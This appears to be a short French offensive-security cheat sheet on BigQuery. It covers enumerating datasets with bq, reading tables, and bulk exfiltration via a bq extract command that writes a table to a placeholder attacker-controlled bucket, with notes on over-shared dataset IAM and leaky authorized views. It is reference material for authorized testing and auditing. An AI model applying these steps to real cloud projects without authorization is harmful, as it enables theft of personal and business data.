BigQuery est un entrepôt sans serveur accessible entièrement via IAM. Un principal disposant de bigquery.tables.getData et bigquery.jobs.create lit toute table à laquelle il est autorisé, et l'entrepôt contient généralement les données les plus précieuses : événements, données personnelles et exports analytiques. L'exfiltration ne demande qu'une requête, ou une tâche extract vers un bucket pour un volume important.
Énumération et lecture#
bq ls --project_id <proj>
bq ls <proj>:<dataset>
bq show --schema <proj>:<dataset>.<table>
bq query --use_legacy_sql=false 'SELECT * FROM `proj.dataset.table` LIMIT 1000'
Exfiltration en masse#
# dump a table to a bucket you control
bq extract --destination_format=NEWLINE_DELIMITED_JSON \
proj:dataset.table gs://<attacker-or-reachable-bucket>/out-*.json
Notes d'exploitation#
- L'IAM des jeux de données est distinct de l'IAM du projet : un jeu de données partagé avec
allAuthenticatedUsersou un groupe étendu est lisible même sans rôle au niveau du projet. - Les vues et routines autorisées peuvent laisser fuir des lignes de jeux de données que vous ne pouvez pas lire directement ; énumérez-les.
- Les résultats de requêtes et les tables mises en cache persistent ;
bigquery.jobs.createplus unSELECTentre locataires constitue une lecture discrète.
Outils#
- bq / gcloud (
bq query,bq extract). - Bibliothèques clientes de l'API BigQuery pour des extractions scriptées.